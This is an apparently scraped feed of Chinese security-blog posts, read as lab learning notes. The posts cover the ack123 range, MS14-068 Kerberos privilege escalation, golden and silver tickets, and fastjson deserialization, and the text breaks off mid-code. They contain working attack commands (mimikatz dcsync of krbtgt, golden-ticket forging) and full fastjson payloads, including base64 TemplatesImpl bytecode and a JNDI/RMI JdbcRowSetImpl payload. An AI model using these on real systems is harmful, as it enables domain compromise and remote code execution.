class="code"><pre><span class="line">mimikatz kerberos::list /export</span><br></pre></td></tr></table></figure><p>利用kerberoast.exe爆破即可成功获取Administrator的密码明文</p><p>参考:</p><p><a href="https://www.cnblogs.com/wkzb/p/15667624.html">渗透测试带防御的内网域(ack123靶场)</a></p><p><a href="https://blog.csdn.net/qq_38850916/article/details/124801004">内网渗透、三层拓扑、红队考核靶场(ack123)</a></p><p><a href="https://zhuanlan.zhihu.com/p/422937627">CS-Shellcode分析(一)</a></p><p><a href="https://blog.csdn.net/u014029795/article/details/116910134">SQL Server提权总结与记录-xp_cmdshell/sp_oacreate/sandbox提权</a></p>]]></content>
<summary type="html"><p>最近打了一套新的靶场——暗月ack,学到了很多新东西,特此记录</p>
<h1 id="烂土豆(RottenPotato)">烂土豆(RottenPotato)</h1>
<p><code>烂土豆(Rotten Potato) MS16-075</code> 是一种利用 W</summary>
<category term="渗透" scheme="http://example.com/categories/%E6%B8%97%E9%80%8F/"/>
<category term="靶场" scheme="http://example.com/tags/%E9%9D%B6%E5%9C%BA/"/>
</entry>
<entry>
<title>内网渗透之ms14_068和黄金、白银票据</title>
<link href="http://example.com/post/2023/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8Bms14-068%E5%92%8C%E9%BB%84%E9%87%91%E3%80%81%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE/"/>
<id>http://example.com/post/2023/%E5%86%85%E7%BD%91%E6%B8%97%E9%80%8F%E4%B9%8Bms14-068%E5%92%8C%E9%BB%84%E9%87%91%E3%80%81%E7%99%BD%E9%93%B6%E7%A5%A8%E6%8D%AE/</id>
<published>2023-04-14T05:30:26.000Z</published>
<updated>2024-09-24T02:22:25.641Z</updated>
<content type="html"><![CDATA[<h1 id="MS14-068">MS14-068</h1><p>MS14-068 是微软在 2014 年 11 月发布的一个安全公告,其中提到了 Windows 操作系统中存在的一个漏洞,对应的补丁号是<code>KB3011780</code>.该漏洞被称为 Kerberos Checksum Vulnerability,允许攻击者通过伪造 Kerberos 协议包来获取域控制器的权限,从而可能导致整个 Active Directory 域受到攻击.</p><p>该漏洞影响 Windows Server 2003、Windows Vista、Windows Server 2008、Windows 7 和 Windows Server 2008 R2 等多个版本的 Windows 操作系统,并被评定为危急级别.</p><h2 id="原理">原理</h2><p>在学习这个漏洞之前我们要先明白kerberos协议的认证流程:</p><p><img src="1222663-20191029184606216-1725954036.png" alt="1222663-20191029184606216-1725954036.png"></p><p>在kerberos最初的设计流程中只说明了如何证明客户端的真实身份,并没有说明客户端是否有权限访问这个服务,为了解决这个问题,微软引入了<code>PAC(Privilege Attribute Certificate)</code>用来辨明用户的身份和权限.</p><p>PAC 包含了<code>用户身份信息(包括用户的用户名、域名、SID(Security Identifier)等)</code>、<code>授权信息(包括用户所属的组别以及每个组别对应的 SID 和权限,用于判断用户是否具有相应的访问权限)</code>、<code>签名信息(用于验证 PAC 的完整性和真实性,防止篡改和伪造攻击)</code>和其他辅助信息,</p><p>在 Kerberos 认证中,PAC数字签名包含两部分:<code>PAC 签名</code>和<code>票据签名</code>.</p><ol><li><p>PAC 签名:用于验证 PAC 中携带的用户安全属性信息是否被篡改或伪造.在<code>生成 TGT</code> 时,KDC(Key Distribution Center)会使用其<code>krbtgt服务账户的密码哈希</code>对 PAC 进行数字签名,并将签名结果添加到 TGT 中.在后续的服务请求中,TGS(Ticket Granting Service)会获取 PAC,并利用 KDC 的公钥来验证 PAC 签名的真实性.</p></li><li><p>票据签名:用于验证票据是否被篡改或伪造.在<code>生成 TGS 票据</code>时,TGS 使用<code>服务账户的密码哈希</code>对票据进行数字签名,并将签名结果添加到 TGS 标志中.在服务端接收到客户端请求时,会提取 TGS 票据中的票据签名,并利用服务账户的公钥来验证票据的真实性.</p></li></ol><p>作为一名低权限用户,如果我们想要访问高权限用户才能访问的服务,我们只需要获取到<code>高权限用户的TGT</code>就可以了,而通过MS14-068这个漏洞我们就可以获取到高权限用户的TGT</p><p>原理:</p><p>客户端在发起认证请求时,通过设置<code>include-PAC</code>为<code>False</code>,则返回TGT中不会包含PAC</p><p><img src="image-20230416151131851.png" alt="image-20230416151131851"></p><p>此时我们可以构造一个新的PAC,这个PAC里的User SID 和 Group SID都是<code>高权限用户的User SID 和 Group SID</code>而PAC尾部的签名则是使用将前面的data(User SID & Group SID)进行MD5加密得到<code>MD5值</code>作为签名,这里就是微软的第一个错误:</p><p><strong>在KDC机构对PAC进行验证时,对于PAC尾部的签名算法,虽然原理上规定必须是带有Key的签名算法才可以,但微软在实现上,却允许任意签名算法,只要客户端指定任意签名算法,KDC服务器就会使用指定的算法进行签名验证.</strong></p><p>同时我们在客户端生成一个随机数<code>subkey</code>,用这个随机数对PAC进行加密,这个subkey会被放到TGS_REQ的<code>Authenticator</code>中,同时我们要发送的TGS_REQ中还包含<code>低权限用户的TGT</code>和<code>我们之前构造的PAC</code>,但这个PAC并不在TGT里面而是在外面</p><p><img src="image-20230416152934190.png" alt="image-20230416152934190"></p><p>此时发送我们所构造的恶意的TGS-REQ,这里微软犯了第二个错:</p><p><strong>PAC没有被放在TGT中,而是放在了TGS_REQ数据包的其它地方.但可笑的是,KDC在实现上竟然允许这样的构造,也就是说,KDC能够正确解析出没有放在其它地方的PAC信息.</strong></p><p>意味着我们所构造的PAC是可以被解析的,配合微软的第三个错:</p><p><strong>KDC验证缺少PAC的TGT成功后,再验证不在TGT中 的PAC的合法性.如果2个均验证成功,KDC把PAC中的User SID、Group SID取出来,重新使用进行签名,签名算法和密钥与设置inclue-pac标志位为TRUE时一模一样.将将新产生的PAC加入到解密后的TGT中,再重新加密制作全新的TGT发送给Client,不是TGS</strong></p><p>最后就会返回一个<code>高权限用户的TGT</code></p><p><img src="image-20230416153252369.png" alt="image-20230416153252369"></p><p>到这里我们就已经将原理分析清楚了,接下来谈谈它的利用</p><h2 id="利用">利用</h2><p>首先下载<a href="https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068">MS14-068.exe</a></p><p>查看补丁信息</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">wmic qfe get Caption,Description,HotFixID,InstalledOn</span><br><span class="line">或者</span><br><span class="line">systeminfo</span><br></pre></td></tr></table></figure><p>得到当前用户的sid</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">whoami /user</span><br></pre></td></tr></table></figure><p>使用MS14-068.exe</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">MS14-068.exe -u <userName>@<domainName> -p <clearPassword> -s <userSid> -d <domainControlerAddr></span><br></pre></td></tr></table></figure><p>成功以后会生成一个ccache文件</p><p>使用mimikatz</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">kerberos::purge#清除原有票据</span><br><span class="line">kerberos::ptc C:\XXXX.ccache#将管理员证书写入</span><br></pre></td></tr></table></figure><p>详细的漏洞复现网上有一大堆,可以参考这篇文章:<a href="https://www.cnblogs.com/yuzly/p/10859520.html">MS14-068域提权漏洞复现</a></p><p>更详细的原理分析可以参考:<a href="https://blog.csdn.net/zy_strive_2012/article/details/51698780">ms14-068的深入分析</a></p><h1 id="黄金票据">黄金票据</h1><p><code>黄金票据(Golden Ticket)</code>指黑客通过窃取Kerberos域控制器(KDC)的<code>krbtgt帐号的密码哈希值</code>,生成伪造的<code>票据(TGT)</code>来获取对整个Kerberos领域的完全访问权限的过程.这种攻击方式被称为“黄金”票据,因为它赋予了攻击者类似于使用黄金密钥一样的特权来绕过Kerberos的身份验证和授权机制,从而可以自由地访问所有资源,并且很难被检测到和防止.</p><p>由于TGT部分是利用<code>krbtgt帐号的密码哈希</code>来加密的,KDC验证TGT是否有效也是用krbtgt帐号的密码哈希来解密,如果我们知道了krbtgt帐号的密码哈希,就可以自己伪造一个TGT了,而一般要得到krbtgt的密码哈希都是通过域控来拿的,所以黄金票据适合用来做<code>权限维持</code></p><p>利用条件:<code>域名</code>、<code>域的sid</code>、<code>域的KRBTGT账户NTLM密码哈希</code>、<code>伪造对象用户名</code></p><p>获取域名:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">whoami</span><br><span class="line">net time /domain</span><br><span class="line">ipconfig /all</span><br></pre></td></tr></table></figure><p>获取sid:</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">whoami /all</span><br></pre></td></tr></table></figure><p>获取域的KRBTGT账户NTLM密码哈希或者aes-256值</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">lsadump::dcsync /domain:xx.com /user:krbtgt /csv</span><br></pre></td></tr></table></figure><p>查看域管理员用户名</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">net group <span class="string">"domain admins"</span> /domain</span><br></pre></td></tr></table></figure><p>使用mimikatz</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">klist purge</span><br><span class="line"><span class="attr">kerberos</span>::golden /<span class="attr">admin</span>:administrator /<span class="attr">domain</span>:xx.<span class="property">com</span> /<span class="attr">sid</span>:xxxx /<span class="attr">krbtgt</span>:xxxx /ptt</span><br></pre></td></tr></table></figure><p>参考:<a href="https://cloud.tencent.com/developer/article/2130133">一文了解黄金票据和白银票据</a></p><h1 id="白银票据">白银票据</h1><p><code>白银票据(Silver Ticket)</code>指黑客通过窃取目标主机上的<code>服务账号的密码哈希值</code>,生成伪造的<code>服务票据(ST)</code>来获取对该主机上特定服务的访问权限.这种攻击方式被称为“白银”票据,因为它不像“黄金”票据那样具有完全的控制权限,只能用于访问特定的服务,并且难以被检测到和防止.</p><p>与TGT类似,ST(Service Ticket)通过<code>服务账户的密码哈希</code>进行加密,如果我们知道了对应服务账户的密码哈希,我们就可以伪造该相关服务的ST,从而访问到该服务</p><p>实操可参考:<a href="https://cloud.tencent.com/developer/article/1760135">白银票据(Silver Ticket)攻击</a></p>]]></content>
<summary type="html"><h1 id="MS14-068">MS14-068</h1>
<p>MS14-068 是微软在 2014 年 11 月发布的一个安全公告,其中提到了 Windows 操作系统中存在的一个漏洞,对应的补丁号是<code>KB3011780</code>.该漏洞被称为 Kerber</summary>
<category term="渗透" scheme="http://example.com/categories/%E6%B8%97%E9%80%8F/"/>
<category term="提权" scheme="http://example.com/tags/%E6%8F%90%E6%9D%83/"/>
<category term="维权" scheme="http://example.com/tags/%E7%BB%B4%E6%9D%83/"/>
</entry>
<entry>
<title>java反序列化之fastjson</title>
<link href="http://example.com/post/2023/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bfastjson/"/>
<id>http://example.com/post/2023/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bfastjson/</id>
<published>2023-04-10T12:23:14.000Z</published>
<updated>2023-06-14T11:56:11.447Z</updated>
<content type="html"><![CDATA[<h1 id="FastJson-1-2-22-1-2-24">FastJson 1.2.22 - 1.2.24</h1><p><code>fastjson</code>是java反序列化中一个经典的漏洞了,早些在使用java写爬虫程序的时候就用过这个库,今天就针对其反序列化漏洞再来学习一次。</p><p>首先先介绍一下JavaBean ,<code>JavaBean</code> 包括一个默认的<code>构造函数</code>、<code>私有的成员变量</code>以及<code>公共的 getter 和 setter 方法</code>。这些方法用于对类中的属性进行读取和赋值操作,并且可以通过反射机制对其进行访问。</p><p>JavaBean 类通常被用作数据传输对象(DTO)或持久化对象(POJO),并且经常与 Web 应用程序框架(如 Spring MVC)一起使用。通过将数据映射到 JavaBean 对象中,我们可以方便地进行数据绑定、表单验证以及数据库访问等操作。</p><p>以下是一个简单的 JavaBean 类示例:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">Person</span> {</span><br><span class="line"> <span class="keyword">private</span> String name;</span><br><span class="line"> <span class="keyword">private</span> <span class="type">int</span> age;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">Person</span><span class="params">()</span> {</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">Person</span><span class="params">(<span class="type">int</span> age, String name)</span> {</span><br><span class="line"> <span class="built_in">this</span>.age = age;</span><br><span class="line"> <span class="built_in">this</span>.name = name;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="type">int</span> <span class="title function_">getAge</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(<span class="string">"getAge被调用了"</span>);</span><br><span class="line"> <span class="keyword">return</span> age;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> String <span class="title function_">getName</span><span class="params">()</span> {</span><br><span class="line"> System.out.println(<span class="string">"getName被调用了"</span>);</span><br><span class="line"> <span class="keyword">return</span> name;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setAge</span><span class="params">(<span class="type">int</span> age)</span> {</span><br><span class="line"> System.out.println(<span class="string">"setAge被调用了"</span>);</span><br><span class="line"> <span class="built_in">this</span>.age = age;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setName</span><span class="params">(String name)</span> {</span><br><span class="line"> System.out.println(<span class="string">"setName被调用了"</span>);</span><br><span class="line"> <span class="built_in">this</span>.name = name;</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>示例代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> com.alibaba.fastjson.JSON;</span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">fastjsonTEST</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> <span class="type">Person</span> <span class="variable">person</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">Person</span>(<span class="number">21</span>,<span class="string">"1y0ng"</span>);</span><br><span class="line"> <span class="type">String</span> <span class="variable">stringobject</span> <span class="operator">=</span> JSON.toJSONString(person);</span><br><span class="line"> System.out.println(stringobject);</span><br><span class="line"> System.out.println(<span class="string">"----------------------"</span>);</span><br><span class="line"> <span class="type">Person</span> <span class="variable">person1</span> <span class="operator">=</span> JSON.parseObject(stringobject,Person.class);</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>输出结果:</p><p><img src="image-20230410210446299.png" alt="image-20230410210446299"></p><p>可见在fastjson在序列化的时候会调用JavaBean对象中对应参数的<code>get方法</code>,而在反序列化的时候会调用相应的<code>set方法</code>(要指定反序列化对象),但我们如何选择反序列化后生成对象是谁呢?</p><p>fastjson给了我们一个<code>@type</code>用来指定反序列化后生成的对象:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">stringobject</span> <span class="operator">=</span> <span class="string">"{\"@type\":\"Person\":\"age\":21,\"name\":\"1y0ng\"}"</span>;</span><br><span class="line">System.out.println(JSON.parseObject(stringobject));</span><br></pre></td></tr></table></figure><p><img src="image-20230410215040668.png" alt="image-20230410215040668"></p><blockquote><p>注:这里如果只是以下函数是不会触发get和set方法的</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">stringobject</span> <span class="operator">=</span> <span class="string">"{\"age\":21,\"name\":\"1y0ng\"}"</span>;</span><br><span class="line">System.out.println(JSON.parseObject(stringobject));</span><br></pre></td></tr></table></figure></blockquote><h2 id="结合cc3">结合cc3</h2><p>之前在学cc3和shiro的CB链的时候用到了<code>TemplatesImpl类</code>的<code>getOutputProperties方法</code>,刚好这就是get方法,所以我们这里这里可以试试这种方法的利用</p><p>首先将字节数组以<code>base64字符串</code>的形式输出</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">byte</span>[] codes = Files.readAllBytes(Paths.get(<span class="string">"D:\\php_project\\shengji_study\\target\\classes\\runtime.class"</span>));</span><br><span class="line">System.out.println(Base64.getEncoder().encodeToString(codes));</span><br></pre></td></tr></table></figure><p>然后放入到json字符串中得到poc:</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">{</span><span class="attr">"@type"</span><span class="punctuation">:</span><span class="string">"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"</span><span class="punctuation">,</span><span class="attr">"_bytecodes"</span><span class="punctuation">:</span><span class="punctuation">[</span><span class="string">"yv66vgAAADQANAoACAAkCgAlACYIACcKACUAKAcAKQoABQAqBwArBwAsAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMcnVudGltZTsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2tNYXBUYWJsZQcAKQEAClNvdXJjZUZpbGUBAAxydW50aW1lLmphdmEMAAkACgcALgwALwAwAQAEY2FsYwwAMQAyAQATamF2YS9pby9JT0V4Y2VwdGlvbgwAMwAKAQAHcnVudGltZQEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPcHJpbnRTdGFja1RyYWNlACEABwAIAAAAAAAEAAEACQAKAAEACwAAAC8AAQABAAAABSq3AAGxAAAAAgAMAAAABgABAAAACQANAAAADAABAAAABQAOAA8AAAABABAAEQACAAsAAAA/AAAAAwAAAAGxAAAAAgAMAAAABgABAAAAFQANAAAAIAADAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABQAFQACABYAAAAEAAEAFwABABAAGAACAAsAAABJAAAABAAAAAGxAAAAAgAMAAAABgABAAAAGgANAAAAKgAEAAAAAQAOAA8AAAAAAAEAEgATAAEAAAABABkAGgACAAAAAQAbABwAAwAWAAAABAABABcACAAdAAoAAQALAAAAYQACAAEAAAASuAACEgO2AARXpwAISyq2AAaxAAEAAAAJAAwABQADAAwAAAAWAAUAAAAMAAkADwAMAA0ADQAOABEAEAANAAAADAABAA0ABAAeAB8AAAAgAAAABwACTAcAIQQAAQAiAAAAAgAj"</span><span class="punctuation">]</span><span class="punctuation">,</span><span class="attr">"_name"</span><span class="punctuation">:</span><span class="string">"xxxx"</span><span class="punctuation">,</span><span class="attr">"_tfactory"</span><span class="punctuation">:</span><span class="punctuation">{</span><span class="punctuation">}</span><span class="punctuation">,</span><span class="attr">"_outputProperties"</span><span class="punctuation">:</span><span class="punctuation">{</span><span class="punctuation">}</span><span class="punctuation">}</span></span><br></pre></td></tr></table></figure><p>测试:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">String</span> <span class="variable">stringobject</span> <span class="operator">=</span> <span class="string">"{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66v……;</span></span><br><span class="line"><span class="string">JSON.parseObject(stringobject,Feature.SupportNonPublicField);</span></span><br></pre></td></tr></table></figure><p><img src="image-20230410223538055.png" alt="image-20230410223538055"></p><p>其中,<code>Feature.SupportNonPublicField</code> 是 Fastjson 库中的一个选项,用于控制是否支持序列化和反序列化非公共字段。如果将该选项设置为 <code>true</code>,则 Fastjson 将尝试序列化和反序列化所有字段,包括私有字段和受保护字段。由于这里TemplatesImpl类的属性全都是private,所以需要设置第二个参数为<code>Feature.SupportNonPublicField</code></p><p></p><h2 id="基于JdbcRowSetImpl的jndi注入">基于JdbcRowSetImpl的jndi注入</h2><p>要想利用cc3有很多的局限性,所以我们还可以通过jndi注入执行命令</p><p><code>com.sun.rowset.JdbcRowSetImpl</code>这个类为我们提供了条件,其中的<code>connect()</code>方法为:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">private</span> Connection <span class="title function_">connect</span><span class="params">()</span> <span class="keyword">throws</span> SQLException {</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Get a JDBC connection.</span></span><br><span class="line"></span><br><span class="line"> <span class="comment">// First check for Connection handle object as such if</span></span><br><span class="line"> <span class="comment">// "this" initialized using conn.</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(conn != <span class="literal">null</span>) {</span><br><span class="line"> <span class="keyword">return</span> conn;</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (getDataSourceName() != <span class="literal">null</span>) {</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Connect using JNDI.</span></span><br><span class="line"> <span class="keyword">try</span> {</span><br><span class="line"> <span class="type">Context</span> <span class="variable">ctx</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">InitialContext</span>();</span><br><span class="line"> <span class="type">DataSource</span> <span class="variable">ds</span> <span class="operator">=</span> (DataSource)ctx.lookup<span class="comment">//这里可以尝试jndi注入</span></span><br><span class="line"> (getDataSourceName());</span><br><span class="line"> <span class="comment">//return ds.getConnection(getUsername(),getPassword());</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span>(getUsername() != <span class="literal">null</span> && !getUsername().equals(<span class="string">""</span>)) {</span><br><span class="line"> <span class="keyword">return</span> ds.getConnection(getUsername(),getPassword());</span><br><span class="line"> } <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> ds.getConnection();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">catch</span> (javax.naming.NamingException ex) {</span><br><span class="line"> <span class="keyword">throw</span> <span class="keyword">new</span> <span class="title class_">SQLException</span>(resBundle.handleGetObject(<span class="string">"jdbcrowsetimpl.connect"</span>).toString());</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> } <span class="keyword">else</span> <span class="keyword">if</span> (getUrl() != <span class="literal">null</span>) {</span><br><span class="line"> <span class="comment">// Check only for getUrl() != null because</span></span><br><span class="line"> <span class="comment">// user, passwd can be null</span></span><br><span class="line"> <span class="comment">// Connect using the driver manager.</span></span><br><span class="line"></span><br><span class="line"> <span class="keyword">return</span> DriverManager.getConnection</span><br><span class="line"> (getUrl(), getUsername(), getPassword());</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">else</span> {</span><br><span class="line"> <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">}</span><br></pre></td></tr></table></figure><p>接下来发现connect()方法被<code>setAutoCommit方法</code>调用了</p><p><img src="image-20230411161822971.png" alt="image-20230411161822971"></p><p><img src="image-20230411195545182.png" alt="image-20230411195545182"></p><p>这里刚好是一个set方法,可以被fastjson反序列化调用</p><p>这里推荐一个工具——<a href="https://www.yaklang.io">yakit</a></p><p>开启反连服务器</p><p><img src="image-20230411163548141.png" alt="image-20230411163548141"></p><p>设置JavaPayLoad</p><p><img src="image-20230411163755158.png" alt="image-20230411163755158"></p><p>构造poc(网上有人说这里autoCommit必须为true,但我测试下来true和false都可以)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">{<span class="string">"@type"</span>:<span class="string">"com.sun.rowset.JdbcRowSetImpl"</span>,<span class="string">"dataSourceName"</span>:<span class="string">"rmi://127.0.0.1:8085/hDEqCUyW"</span>, <span class="string">"autoCommit"</span>:<span class="number">0</span>}</span><br></pre></td></tr></table></figure><p>命令执行成功<img src="image-20230411163909090.png" alt="image-20230411163909090"></p><h1 id="FastJson-1-2-47">FastJson <1.2.47</h1><p>在1.2.24版本之后,fastjson引入了一个<code>checkAutotype函数</code>,通过黑白名单的方式来检查反序列化是否安全,如果能正常返回clazz的话就会加载并实例化clazz类</p><p><img src="image-20230411174550334.png" alt="image-20230411174550334"></p><p>判断的流程有些复杂,但还是存在可以绕过的情况。在checkAutotype函数中首先会进行一个黑白名单判断,如果传入的类既不在白名单里又不在黑名单里,那么就会对缓存中存在的类进行判断,如果能够在缓存中找到这个类,就返回这个类的clazz,主要代码如下:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> Class<?> checkAutoType(String typeName, Class<?> expectClass) {</span><br><span class="line"> <span class="keyword">if</span> (typeName == <span 